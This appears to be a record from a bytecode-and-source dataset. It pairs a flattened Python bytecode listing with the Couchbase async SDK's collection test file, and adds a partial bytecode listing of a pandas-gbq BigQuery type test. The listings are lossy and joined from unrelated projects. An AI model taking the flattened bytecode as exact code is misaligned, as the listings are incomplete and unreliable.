LOAD_FAST expiry_path LOAD_CONST True LOAD_CONST ('xattr',) CALL_FUNCTION BUILD_TUPLE CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST res LOAD_FAST res LOAD_ATTR content_as LOAD_GLOBAL int BINARY_SUBSCR LOAD_CONST 0 CALL_FUNCTION STORE_FAST res_expiry LOAD_GLOBAL int LOAD_GLOBAL time CALL_FUNCTION LOAD_CONST 1.0 BINARY_ADD CALL_FUNCTION STORE_FAST after LOAD_FAST before LOAD_FAST expiry BINARY_ADD LOAD_FAST res_expiry DUP_TOP ROT_THREE COMPARE_OP <= JUMP_IF_FALSE_OR_POP LOAD_FAST after LOAD_FAST expiry BINARY_ADD COMPARE_OP <= JUMP_FORWARD to 234 ROT_TWO POP_TOP POP_TOP LOAD_CONST None RETURN_VALUE
import asyncio from datetime import datetime, timedelta from time import time import pytest import pytest_asyncio import couchbase.subdocument as SD from acouchbase.cluster import get_event_loop from couchbase.diagnostics import ServiceType from couchbase.exceptions import ( CasMismatchException, DocumentExistsException, DocumentLockedException, DocumentNotFoundException, DocumentNotLockedException, DocumentUnretrievableException, InvalidArgumentException, PathNotFoundException, TemporaryFailException, ) from couchbase.options import GetOptions, InsertOptions, ReplaceOptions, UpsertOptions from couchbase.result import ExistsResult, GetReplicaResult, GetResult, MutationResult from tests.mock_server import MockServerType from ._test_utils import CollectionType, KVPair, TestEnvironment class CollectionTests: NO_KEY = "not-a-key" FIFTY_YEARS = 50 * 365 * 24 * 60 * 60 THIRTY_DAYS = 30 * 24 * 60 * 60 @pytest_asyncio.fixture(scope="class") def event_loop(self): loop = get_event_loop() yield loop loop.close() @pytest_asyncio.fixture( scope="class", name="cb_env", params=[CollectionType.DEFAULT, CollectionType.NAMED], ) async def couchbase_test_environment(self, couchbase_config, request): cb_env = await TestEnvironment.get_environment( __name__, couchbase_config, request.param, manage_buckets=True ) if request.param == CollectionType.NAMED: await cb_env.try_n_times(5, 3, cb_env.setup_named_collections) await cb_env.try_n_times(3, 5, cb_env.load_data) yield cb_env await cb_env.try_n_times_till_exception( 3, 5, cb_env.purge_data, raise_if_no_exception=False ) if request.param == CollectionType.NAMED: await cb_env.try_n_times_till_exception( 5, 3, cb_env.teardown_named_collections, raise_if_no_exception=False ) @pytest.fixture(scope="class") def check_preserve_expiry_supported(self, cb_env): cb_env.check_if_feature_supported("preserve_expiry") @pytest.fixture(scope="class") def check_sync_durability_supported(self, cb_env): cb_env.check_if_feature_supported("sync_durability") @pytest.fixture(scope="class") def check_xattr_supported(self, cb_env): cb_env.check_if_feature_supported("xattr") @pytest.fixture(scope="class") def check_not_locked_supported(self, cb_env): cb_env.check_if_feature_supported("kv_not_locked") @pytest_asyncio.fixture(name="new_kvp") async def new_key_and_value_with_reset(self, cb_env) -> KVPair: key, value = await cb_env.get_new_key_value() yield KVPair(key, value) await cb_env.try_n_times_till_exception( 10, 1, cb_env.collection.remove, key, expected_exceptions=(DocumentNotFoundException,), reset_on_timeout=True, reset_num_times=3, ) @pytest.fixture(name="default_kvp") def default_key_and_value(self, cb_env) -> KVPair: key, value = cb_env.get_default_key_value() yield KVPair(key, value) @pytest_asyncio.fixture(name="default_kvp_and_reset") async def default_key_and_value_with_reset(self, cb_env) -> KVPair: key, value = cb_env.get_default_key_value() yield KVPair(key, value) await cb_env.try_n_times(5, 3, cb_env.collection.upsert, key, value) @pytest_asyncio.fixture(scope="class") async def num_replicas(self, cb_env): bucket_settings = await cb_env.try_n_times( 10, 1, cb_env.bm.get_bucket, cb_env.bucket.name ) num_replicas = bucket_settings.get("num_replicas") return num_replicas @pytest_asyncio.fixture(scope="class") async def check_replicas(self, cb_env, num_replicas): ping_res = await cb_env.bucket.ping() kv_endpoints = ping_res.endpoints.get(ServiceType.KeyValue, None) if kv_endpoints is None or len(kv_endpoints) < (num_replicas + 1): pytest.skip("Not all replicas are online") @pytest.fixture(scope="class") def num_nodes(self, cb_env): return len(cb_env.cluster._cluster_info.nodes) @pytest.fixture(scope="class") def check_multi_node(self, num_nodes): if num_nodes == 1: pytest.skip("Test only for clusters with more than a single node.") @pytest.fixture(scope="class") def skip_if_go_caves(self, cb_env): if cb_env.is_mock_server and cb_env.mock_server_type == MockServerType.GoCAVES: pytest.skip("GoCAVES does not like this operation.") @pytest.mark.asyncio async def test_exists(self, cb_env, default_kvp): cb = cb_env.collection key = default_kvp.key result = await cb.exists(key) assert isinstance(result, ExistsResult) assert result.exists is True @pytest.mark.asyncio async def test_does_not_exists(self, cb_env): cb = cb_env.collection result = await cb.exists(self.NO_KEY) assert isinstance(result, ExistsResult) assert result.exists is False @pytest.mark.asyncio async def test_get(self, cb_env, default_kvp): cb = cb_env.collection key = default_kvp.key value = default_kvp.value result = await cb.get(key) assert isinstance(result, GetResult) assert result.cas is not None assert result.key == key assert result.expiry_time is None assert result.content_as[dict] == value @pytest.mark.asyncio async def test_get_options(self, cb_env, default_kvp): cb = cb_env.collection key = default_kvp.key value = default_kvp.value result = await cb.get( key, GetOptions(timeout=timedelta(seconds=2), with_expiry=False) ) assert isinstance(result, GetResult) assert result.cas is not None assert result.key == key assert result.expiry_time is None assert result.content_as[dict] == value @pytest.mark.asyncio async def test_get_fails(self, cb_env): cb = cb_env.collection with pytest.raises(DocumentNotFoundException): await cb.get(self.NO_KEY) @pytest.mark.usefixtures("check_xattr_supported") @pytest.mark.asyncio async def test_get_with_expiry(self, cb_env, new_kvp): cb = cb_env.collection key = new_kvp.key value = new_kvp.value await cb.upsert(key, value, UpsertOptions(expiry=timedelta(seconds=1000))) expiry_path = "$document.exptime" res = await cb_env.try_n_times( 10, 3, cb.lookup_in, key, (SD.get(expiry_path, xattr=True),) ) expiry = res.content_as[int](0) assert expiry is not None assert expiry > 0 expires_in = (datetime.fromtimestamp(expiry) - datetime.now()).total_seconds() assert expires_in > 0 @pytest.mark.asyncio async def test_expiry_really_expires(self, cb_env, new_kvp): cb = cb_env.collection key = new_kvp.key value = new_kvp.value result = await cb.upsert(key, value, UpsertOptions(expiry=timedelta(seconds=2))) assert result.cas != 0 await asyncio.sleep(3) with pytest.raises(DocumentNotFoundException): await cb.get(key) @pytest.mark.asyncio async def test_project(self, cb_env, default_kvp): cb = cb_env.collection key = default_kvp.key value = default_kvp.value result = await cb.upsert(key, value, UpsertOptions(expiry=timedelta(seconds=2))) async def cas_matches(cb, new_cas): r = await cb.get(key) if new_cas != r.cas: raise Exception(f"{new_cas} != {r.cas}") await cb_env.try_n_times(10, 3, cas_matches, cb, result.cas) result = await cb.get(key, GetOptions(project=["faa"])) assert {"faa": "ORD"} == result.content_as[dict] assert result.cas is not None assert result.key == key assert result.expiry_time is None @pytest.mark.asyncio async def test_project_bad_path(self, cb_env, default_kvp): cb = cb_env.collection key = default_kvp.key with pytest.raises(PathNotFoundException): await cb.get(key, GetOptions(project=["some", "qzx"])) @pytest.mark.asyncio async def test_project_project_not_list(self, cb_env, default_kvp): cb = cb_env.collection key = default_kvp.key with pytest.raises(InvalidArgumentException): await cb.get(key, GetOptions(project="thiswontwork")) @pytest.mark.usefixtures("skip_if_go_caves") @pytest.mark.asyncio async def test_project_too_many_projections(self, cb_env, default_kvp): cb = cb_env.collection key = default_kvp.key value = {f"f{i}": i for i in range(1, 21)} result = await cb.upsert(key, value, UpsertOptions(expiry=timedelta(seconds=2))) async def cas_matches(cb, new_cas): r = await cb.get(key) if new_cas != r.cas: raise Exception(f"{new_cas} != {r.cas}") await cb_env.try_n_times(10, 3, cas_matches, cb, result.cas) project = [f"f{i}" for i in range(1, 19)] result = await cb.get(key, GetOptions(project=project)) assert result.cas is not None res_dict = result.content_as[dict] assert res_dict != {} assert res_dict.get("f20") is None for field in project: assert res_dict.get(field) is not None @pytest.mark.asyncio async def test_upsert(self, cb_env, default_kvp): cb = cb_env.collection key = default_kvp.key value = default_kvp.value result = await cb.upsert( key, value, UpsertOptions(timeout=timedelta(seconds=3)) ) assert result is not None assert isinstance(result, MutationResult) assert result.cas != 0 g_result = await cb_env.try_n_times(10, 3, cb.get, key) assert g_result.key == key assert value == g_result.content_as[dict] @pytest.mark.usefixtures("check_preserve_expiry_supported") @pytest.mark.asyncio async def test_upsert_preserve_expiry_not_used( self, cb_env, default_kvp_and_reset, new_kvp ): cb = cb_env.collection key = default_kvp_and_reset.key value = default_kvp_and_reset.value value1 = new_kvp.value await cb.upsert(key, value, UpsertOptions(expiry=timedelta(seconds=2))) expiry_path = "$document.exptime" res = await cb_env.try_n_times( 10, 3, cb.lookup_in, key, (SD.get(expiry_path, xattr=True),) ) expiry1 = res.content_as[int](0) await cb.upsert(key, value1) res = await cb_env.try_n_times( 10, 3, cb.lookup_in, key, (SD.get(expiry_path, xattr=True),) ) expiry2 = res.content_as[int](0) assert expiry1 is not None assert expiry2 is not None assert expiry1 != expiry2 await asyncio.sleep(3) result = await cb.get(key) assert isinstance(result, GetResult) assert result.content_as[dict] == value1 @pytest.mark.usefixtures("check_preserve_expiry_supported") @pytest.mark.asyncio async def test_upsert_preserve_expiry(self, cb_env, default_kvp_and_reset, new_kvp): cb = cb_env.collection key = default_kvp_and_reset.key value = default_kvp_and_reset.value value1 = new_kvp.value await cb.upsert(key, value, UpsertOptions(expiry=timedelta(seconds=2))) expiry_path = "$document.exptime" res = await cb_env.try_n_times( 10, 3, cb.lookup_in, key, (SD.get(expiry_path, xattr=True),) ) expiry1 = res.content_as[int](0) await cb.upsert(key, value1, UpsertOptions(preserve_expiry=True)) res = await cb_env.try_n_times( 10, 3, cb.lookup_in, key, (SD.get(expiry_path, xattr=True),) ) expiry2 = res.content_as[int](0) assert expiry1 is not None assert expiry2 is not None assert expiry1 == expiry2 await asyncio.sleep(3) with pytest.raises(DocumentNotFoundException): await cb.get(key) @pytest.mark.asyncio async def test_insert(self, cb_env, new_kvp): cb = cb_env.collection key = new_kvp.key value = new_kvp.value result = await cb.insert( key, value, InsertOptions(timeout=timedelta(seconds=3)) ) assert result is not None assert isinstance(result, MutationResult) assert result.cas != 0 g_result = await cb_env.try_n_times(10, 3, cb.get, key) assert g_result.key == key assert value == g_result.content_as[dict] @pytest.mark.asyncio async def test_insert_document_exists(self, cb_env, default_kvp): cb = cb_env.collection key = default_kvp.key value = default_kvp.value with pytest.raises(DocumentExistsException): await cb.insert(key, value) @pytest.mark.asyncio async def test_replace(self, cb_env, default_kvp): cb = cb_env.collection key = default_kvp.key value = default_kvp.value result = await cb.replace( key, value, ReplaceOptions(timeout=timedelta(seconds=3)) ) assert result is not None assert isinstance(result, MutationResult) assert result.cas != 0 g_result = await cb_env.try_n_times(10, 3, cb.get, key) assert g_result.key == key assert value == g_result.content_as[dict] @pytest.mark.asyncio async def test_replace_with_cas(self, cb_env, default_kvp_and_reset, new_kvp): cb = cb_env.collection key = default_kvp_and_reset.key value1 = new_kvp.value result = await cb.get(key) old_cas = result.cas result = await cb.replace(key, value1, ReplaceOptions(cas=old_cas)) assert isinstance(result, MutationResult) assert result.cas != old_cas with pytest.raises(CasMismatchException): await cb.replace(key, value1, ReplaceOptions(cas=old_cas)) @pytest.mark.asyncio async def test_replace_fail(self, cb_env): cb = cb_env.collection with pytest.raises(DocumentNotFoundException): await cb.replace(self.NO_KEY, {"some": "content"}) @pytest.mark.asyncio async def test_remove(self, cb_env, default_kvp_and_reset): cb = cb_env.collection key = default_kvp_and_reset.key result = await cb.remove(key) assert isinstance(result, MutationResult) with pytest.raises(DocumentNotFoundException): await cb.get(key) @pytest.mark.asyncio async def test_remove_fail(self, cb_env): cb = cb_env.collection with pytest.raises(DocumentNotFoundException): await cb.remove(self.NO_KEY) @pytest.mark.usefixtures("check_preserve_expiry_supported") @pytest.mark.asyncio async def test_replace_preserve_expiry_not_used( self, cb_env, default_kvp_and_reset, new_kvp ): cb = cb_env.collection key = default_kvp_and_reset.key value = default_kvp_and_reset.value value1 = new_kvp.value await cb.upsert(key, value, UpsertOptions(expiry=timedelta(seconds=2))) expiry_path = "$document.exptime" res = await cb_env.try_n_times( 10, 3, cb.lookup_in, key, (SD.get(expiry_path, xattr=True),) ) expiry1 = res.content_as[int](0) await cb.replace(key, value1) res = await cb_env.try_n_times( 10, 3, cb.lookup_in, key, (SD.get(expiry_path, xattr=True),) ) expiry2 = res.content_as[int](0) assert expiry1 is not None assert expiry2 is not None assert expiry1 != expiry2 await asyncio.sleep(3) result = await cb.get(key) assert isinstance(result, GetResult) assert result.content_as[dict] == value1 @pytest.mark.usefixtures("check_preserve_expiry_supported") @pytest.mark.asyncio async def test_replace_preserve_expiry( self, cb_env, default_kvp_and_reset, new_kvp ): cb = cb_env.collection key = default_kvp_and_reset.key value = default_kvp_and_reset.value value1 = new_kvp.value await cb.upsert(key, value, UpsertOptions(expiry=timedelta(seconds=2))) expiry_path = "$document.exptime" res = await cb_env.try_n_times( 10, 3, cb.lookup_in, key, (SD.get(expiry_path, xattr=True),) ) expiry1 = res.content_as[int](0) await cb.replace(key, value1, ReplaceOptions(preserve_expiry=True)) res = await cb_env.try_n_times( 10, 3, cb.lookup_in, key, (SD.get(expiry_path, xattr=True),) ) expiry2 = res.content_as[int](0) assert expiry1 is not None assert expiry2 is not None assert expiry1 == expiry2 await asyncio.sleep(3) with pytest.raises(DocumentNotFoundException): await cb.get(key) @pytest.mark.usefixtures("check_preserve_expiry_supported") @pytest.mark.asyncio async def test_replace_preserve_expiry_fail(self, cb_env, default_kvp_and_reset): cb = cb_env.collection key = default_kvp_and_reset.key value = default_kvp_and_reset.value opts = ReplaceOptions(expiry=timedelta(seconds=5), preserve_expiry=True) with pytest.raises(InvalidArgumentException): await cb.replace(key, value, opts) @pytest.mark.asyncio async def test_touch(self, cb_env, new_kvp): cb = cb_env.collection key = new_kvp.key value = new_kvp.value await cb.upsert(key, value) await cb_env.try_n_times(10, 1, cb.get, key) result = await cb.touch(key, timedelta(seconds=2)) assert isinstance(result, MutationResult) await asyncio.sleep(3) with pytest.raises(DocumentNotFoundException): await cb.get(key) @pytest.mark.asyncio async def test_touch_no_expire(self, cb_env, new_kvp): cb = cb_env.collection key = new_kvp.key value = new_kvp.value await cb.upsert(key, value) await cb_env.try_n_times(10, 1, cb.get, key) await cb.touch(key, timedelta(seconds=15)) g_result = await cb.get(key, GetOptions(with_expiry=True)) assert g_result.expiry_time is not None await cb.touch(key, timedelta(seconds=0)) g_result = await cb.get(key, GetOptions(with_expiry=True)) assert g_result.expiry_time is None @pytest.mark.asyncio async def test_get_and_touch(self, cb_env, new_kvp): cb = cb_env.collection key = new_kvp.key value = new_kvp.value await cb.upsert(key, value) await cb_env.try_n_times(10, 1, cb.get, key) result = await cb.get_and_touch(key, timedelta(seconds=2)) assert isinstance(result, GetResult) await asyncio.sleep(3) with pytest.raises(DocumentNotFoundException): await cb.get(key) @pytest.mark.asyncio async def test_get_and_touch_no_expire(self, cb_env, new_kvp): cb = cb_env.collection key = new_kvp.key value = new_kvp.value await cb.upsert(key, value) await cb_env.try_n_times(10, 1, cb.get, key) await cb.get_and_touch(key, timedelta(seconds=15)) g_result = await cb.get(key, GetOptions(with_expiry=True)) assert g_result.expiry_time is not None await cb.get_and_touch(key, timedelta(seconds=0)) g_result = await cb.get(key, GetOptions(with_expiry=True)) assert g_result.expiry_time is None @pytest.mark.asyncio async def test_get_and_lock(self, cb_env, default_kvp): cb = cb_env.collection key = default_kvp.key value = default_kvp.value result = await cb.get_and_lock(key, timedelta(seconds=3)) assert isinstance(result, GetResult) with pytest.raises(DocumentLockedException): await cb.upsert(key, value) await cb_env.try_n_times(10, 1, cb.upsert, key, value) @pytest.mark.asyncio async def test_get_after_lock(self, cb_env, default_kvp): cb = cb_env.collection key = default_kvp.key orig = await cb.get_and_lock(key, timedelta(seconds=5)) assert isinstance(orig, GetResult) result = await cb.get(key) assert orig.content_as[dict] == result.content_as[dict] assert orig.cas != result.cas await cb_env.try_n_times_till_exception( 10, 1, cb.unlock, key, orig.cas, expected_exceptions=(TemporaryFailException, DocumentNotLockedException), ) @pytest.mark.asyncio async def test_get_and_lock_replace_with_cas(self, cb_env, default_kvp_and_reset): cb = cb_env.collection key = default_kvp_and_reset.key value = default_kvp_and_reset.value result = await cb.get_and_lock(key, timedelta(seconds=5)) assert isinstance(result, GetResult) cas = result.cas with pytest.raises(DocumentLockedException): await cb.upsert(key, value) await cb.replace(key, value, ReplaceOptions(cas=cas)) await cb_env.try_n_times_till_exception( 10, 1, cb.unlock, key, cas, expected_exceptions=(TemporaryFailException, DocumentNotLockedException), ) @pytest.mark.asyncio async def test_unlock(self, cb_env, default_kvp_and_reset): cb = cb_env.collection key = default_kvp_and_reset.key value = default_kvp_and_reset.value result = await cb.get_and_lock(key, timedelta(seconds=5)) assert isinstance(result, GetResult) await cb.unlock(key, result.cas) await cb.upsert(key, value) @pytest.mark.asyncio async def test_unlock_wrong_cas(self, cb_env, default_kvp_and_reset): cb = cb_env.collection key = default_kvp_and_reset.key result = await cb.get_and_lock(key, timedelta(seconds=5)) cas = result.cas with pytest.raises(CasMismatchException): await cb.unlock(key, 100) await cb_env.try_n_times_till_exception( 10, 1, cb.unlock, key, cas, expected_exceptions=(TemporaryFailException, DocumentNotLockedException), ) @pytest.mark.usefixtures("check_not_locked_supported") @pytest.mark.asyncio async def test_unlock_not_locked(self, cb_env, default_kvp_and_reset): cb = cb_env.collection key = default_kvp_and_reset.key result = await cb.get_and_lock(key, timedelta(seconds=5)) cas = result.cas await cb.unlock(key, cas) with pytest.raises(DocumentNotLockedException): await cb.unlock(key, cas) @pytest.mark.usefixtures("check_replicas") @pytest.mark.asyncio async def test_get_any_replica(self, cb_env, default_kvp): result = await cb_env.try_n_times( 10, 3, cb_env.collection.get_any_replica, default_kvp.key ) assert isinstance(result, GetReplicaResult) assert isinstance(result.is_replica, bool) assert default_kvp.value == result.content_as[dict] @pytest.mark.usefixtures("check_replicas") @pytest.mark.asyncio async def test_get_any_replica_fail(self, cb_env): with pytest.raises(DocumentUnretrievableException): await cb_env.collection.get_any_replica("not-a-key") @pytest.mark.usefixtures("check_multi_node") @pytest.mark.usefixtures("check_replicas") @pytest.mark.asyncio async def test_get_all_replicas(self, cb_env, default_kvp): result = await cb_env.try_n_times( 10, 3, cb_env.collection.get_all_replicas, default_kvp.key ) while True: try: res = next(result) assert isinstance(res, GetReplicaResult) assert isinstance(res.is_replica, bool) assert default_kvp.value == res.content_as[dict] except StopIteration: break @pytest.mark.usefixtures("check_multi_node") @pytest.mark.usefixtures("check_replicas") @pytest.mark.asyncio async def test_get_all_replicas_fail(self, cb_env): with pytest.raises(DocumentNotFoundException): await cb_env.collection.get_all_replicas("not-a-key") @pytest.mark.usefixtures("check_multi_node") @pytest.mark.usefixtures("check_replicas") @pytest.mark.asyncio async def test_get_all_replicas_results(self, cb_env, default_kvp): result = await cb_env.try_n_times( 10, 3, cb_env.collection.get_all_replicas, default_kvp.key ) active_cnt = 0 replica_cnt = 0 for res in result: assert isinstance(res, GetReplicaResult) assert isinstance(res.is_replica, bool) assert default_kvp.value == res.content_as[dict] if res.is_replica: replica_cnt += 1 else: active_cnt += 1 assert active_cnt == 1 assert replica_cnt >= active_cnt @pytest.mark.usefixtures("check_xattr_supported") @pytest.mark.asyncio @pytest.mark.parametrize( "expiry", [ FIFTY_YEARS + 1, FIFTY_YEARS, THIRTY_DAYS - 1, THIRTY_DAYS, int(time() - 1.0), 60, -1, ], ) async def test_document_expiry_values(self, cb_env, new_kvp, expiry): cb = cb_env.collection key = new_kvp.key value = new_kvp.value if expiry == -1: with pytest.raises(InvalidArgumentException): await cb.upsert(key, value, expiry=timedelta(seconds=expiry)) else: before = int(time() - 1.0) result = await cb.upsert(key, value, expiry=timedelta(seconds=expiry)) assert result.cas is not None expiry_path = "$document.exptime" res = await cb_env.try_n_times( 10, 3, cb.lookup_in, key, (SD.get(expiry_path, xattr=True),) ) res_expiry = res.content_as[int](0) after = int(time() + 1.0) before + expiry <= res_expiry <= after + expiry
data/couchbase-4.1.11/acouchbase/tests/collection_t.py
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME collections STORE_NAME collections LOAD_CONST 0 LOAD_CONST None IMPORT_NAME datetime STORE_NAME datetime LOAD_CONST 0 LOAD_CONST None IMPORT_NAME decimal STORE_NAME decimal LOAD_CONST 0 LOAD_CONST None IMPORT_NAME packaging.version STORE_NAME packaging LOAD_CONST 0 LOAD_CONST None IMPORT_NAME random STORE_NAME random LOAD_CONST 0 LOAD_CONST None IMPORT_NAME db_dtypes STORE_NAME db_dtypes LOAD_CONST 0 LOAD_CONST ('bigquery',) IMPORT_NAME google.cloud IMPORT_FROM bigquery STORE_NAME bigquery POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pandas STORE_NAME pandas LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pandas.testing STORE_NAME pandas LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST ('FEATURES',) IMPORT_NAME pandas_gbq.features IMPORT_FROM FEATURES STORE_NAME FEATURES POP_TOP LOAD_NAME collections LOAD_ATTR namedtuple LOAD_CONST 'QueryTestCase' LOAD_CONST 'query' LOAD_CONST 'expected' LOAD_CONST 'use_bqstorage_apis' BUILD_LIST LOAD_CONST None LOAD_CONST None LOAD_CONST True LOAD_CONST False BUILD_SET BUILD_LIST LOAD_CONST ('defaults',) CALL_FUNCTION STORE_NAME QueryTestCase LOAD_NAME pytest LOAD_ATTR fixture LOAD_NAME bigquery LOAD_ATTR Client LOAD_NAME str LOAD_NAME bigquery LOAD_ATTR Dataset LOAD_CONST ('bigquery_client', 'project_id', 'random_dataset') BUILD_CONST_KEY_MAP LOAD_CONST <code object writable_table at 0x7fa90ecf4b70, file "f.py", line 23> LOAD_CONST 'writable_table' MAKE_FUNCTION CALL_FUNCTION STORE_NAME writable_table LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skipif LOAD_NAME packaging LOAD_ATTR version LOAD_METHOD parse LOAD_NAME pandas LOAD_ATTR __version__ CALL_METHOD LOAD_ATTR release LOAD_CONST (2, 0) COMPARE_OP >= LOAD_CONST '' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'use_bqstorage_api' BUILD_LIST LOAD_CONST (True,) LOAD_CONST (False,) BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'query' LOAD_CONST 'expected' LOAD_CONST 'use_bqstorage_apis' BUILD_LIST LOAD_NAME pytest LOAD_ATTR param LOAD_NAME QueryTestCase NOP "\nSELECT\n bools.row_num AS row_num,\n bool_col,\n bytes_col,\n date_col,\n datetime_col,\n float_col,\n int64_col,\n numeric_col,\n string_col,\n time_col,\n timestamp_col\nFROM\n UNNEST([\n STRUCT(1 AS row_num, TRUE AS bool_col),\n STRUCT(2 AS row_num, FALSE AS bool_col),\n STRUCT(3 AS row_num, TRUE AS bool_col) ]) AS `bools`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST('C00010FF' AS BYTES FORMAT 'HEX') AS bytes_col),\n STRUCT(2 AS row_num, CAST('F1AC' AS BYTES FORMAT 'HEX') AS bytes_col),\n STRUCT(3 AS row_num, CAST('FFBADD11' AS BYTES FORMAT 'HEX') AS bytes_co) ]) AS `bytes`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, DATE(1998, 9, 4) AS date_col),\n STRUCT(2 AS row_num, DATE(2011, 10, 1) AS date_col),\n STRUCT(3 AS row_num, DATE(2018, 4, 11) AS date_col) ]) AS `dates`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, DATETIME('1998-09-04 12:34:56.789101') AS datetime_col),\n STRUCT(2 AS row_num, DATETIME('2011-10-01 00:01:02.345678') AS datetime_col),\n STRUCT(3 AS row_num, DATETIME('2018-04-11 23:59:59.999999') AS datetime_col) ]) AS `datetimes`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, 1.125 AS float_col),\n STRUCT(2 AS row_num, -2.375 AS float_col),\n STRUCT(3 AS row_num, 0.0 AS float_col) ]) AS `floats`\nINNER JOIN\n UNNEST([\n -- 2 ^ 63 - 1, but in hex to avoid intermediate overlfow.\n STRUCT(1 AS row_num, 0x7fffffffffffffff AS int64_col),\n STRUCT(2 AS row_num, -1 AS in64_col),\n -- -2 ^ 63, but in hex to avoid intermediate overlfow.\n STRUCT(3 AS row_num, -0x8000000000000000 AS int64_col) ]) AS `ints`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST('123.456789' AS NUMERIC) AS numeric_col),\n STRUCT(2 AS row_num, CAST('-123.456789' AS NUMERIC) AS numeric_col),\n STRUCT(3 AS row_num, CAST('999.999999' AS NUMERIC) AS numeric_col) ]) AS `numerics`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, 'abcdefghijklmnopqrstuvwxyz' AS string_col),\n STRUCT(2 AS row_num, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' AS string_col),\n STRUCT(3 AS row_num, 'こんにちは' AS string_col) ]) AS `strings`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST('00:00:00.000000' AS TIME) AS time_col),\n STRUCT(2 AS row_num, CAST('09:08:07.654321' AS TIME) AS time_col),\n STRUCT(3 AS row_num, CAST('23:59:59.999999' AS TIME) AS time_col) ]) AS `times`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, TIMESTAMP('1998-09-04 12:34:56.789101') AS timestamp_col),\n STRUCT(2 AS row_num, TIMESTAMP('2011-10-01 00:01:02.345678') AS timestamp_col),\n STRUCT(3 AS row_num, TIMESTAMP('2018-04-11 23:59:59.999999') AS timestamp_col) ]) AS `timestamps`\nWHERE\n `bools`.row_num = `dates`.row_num\n AND `bools`.row_num = `bytes`.row_num\n AND `bools`.row_num = `datetimes`.row_num\n AND `bools`.row_num = `floats`.row_num\n AND `bools`.row_num = `ints`.row_num\n AND `bools`.row_num = `numerics`.row_num\n AND `bools`.row_num = `strings`.row_num\n AND `bools`.row_num = `times`.row_num\n AND `bools`.row_num = `timestamps`.row_num\nORDER BY row_num ASC\n " LOAD_NAME pandas LOAD_METHOD DataFrame LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 'Int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST True LOAD_CONST False LOAD_CONST True BUILD_LIST LOAD_NAME FEATURES LOAD_ATTR pandas_has_boolean_dtype EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'boolean' JUMP_FORWARD to 274 LOAD_CONST 'bool' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME bytes LOAD_METHOD fromhex LOAD_CONST 'C00010FF' CALL_METHOD LOAD_NAME bytes LOAD_METHOD fromhex LOAD_CONST 'F1AC' CALL_METHOD LOAD_NAME bytes LOAD_METHOD fromhex LOAD_CONST 'FFBADD11' CALL_METHOD BUILD_LIST LOAD_NAME pandas LOAD_ATTR Series LOAD_NAME datetime LOAD_METHOD date LOAD_CONST 1998 LOAD_CONST 9 LOAD_CONST 4 CALL_METHOD LOAD_NAME datetime LOAD_METHOD date LOAD_CONST 2011 LOAD_CONST 10 LOAD_CONST 1 CALL_METHOD LOAD_NAME datetime LOAD_METHOD date LOAD_CONST 2018 LOAD_CONST 4 LOAD_CONST 11 CALL_METHOD BUILD_LIST LOAD_NAME db_dtypes LOAD_METHOD DateDtype CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST '1998-09-04 12:34:56.789101' LOAD_CONST '2011-10-01 00:01:02.345678' LOAD_CONST '2018-04-11 23:59:59.999999' BUILD_LIST LOAD_CONST 'datetime64[ns]' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_CONST 1.125 LOAD_CONST -2.375 LOAD_CONST 0.0 BUILD_LIST LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST 9223372036854775807 LOAD_CONST -1 LOAD_CONST -9223372036854775808 BUILD_LIST LOAD_CONST 'Int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME decimal LOAD_METHOD Decimal LOAD_CONST '123.456789' CALL_METHOD LOAD_NAME decimal LOAD_METHOD Decimal LOAD_CONST '-123.456789' CALL_METHOD LOAD_NAME decimal LOAD_METHOD Decimal LOAD_CONST '999.999999' CALL_METHOD BUILD_LIST LOAD_CONST 'abcdefghijklmnopqrstuvwxyz' NOP 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' LOAD_CONST 'こんにちは' BUILD_LIST LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST '00:00:00.000000' LOAD_CONST '09:08:07.654321' LOAD_CONST '23:59:59.999999' BUILD_LIST LOAD_NAME db_dtypes LOAD_METHOD TimeDtype CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST '1998-09-04 12:34:56.789101' LOAD_CONST '2011-10-01 00:01:02.345678' LOAD_CONST '2018-04-11 23:59:59.999999' BUILD_LIST LOAD_CONST 'datetime64[ns]' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_ATTR dt LOAD_METHOD tz_localize LOAD_NAME datetime LOAD_ATTR timezone LOAD_ATTR utc CALL_METHOD LOAD_CONST ('row_num', 'bool_col', 'bytes_col', 'date_col', 'datetime_col', 'float_col', 'int64_col', 'numeric_col', 'string_col', 'time_col', 'timestamp_col') BUILD_CONST_KEY_MAP CALL_METHOD LOAD_CONST ('query', 'expected') 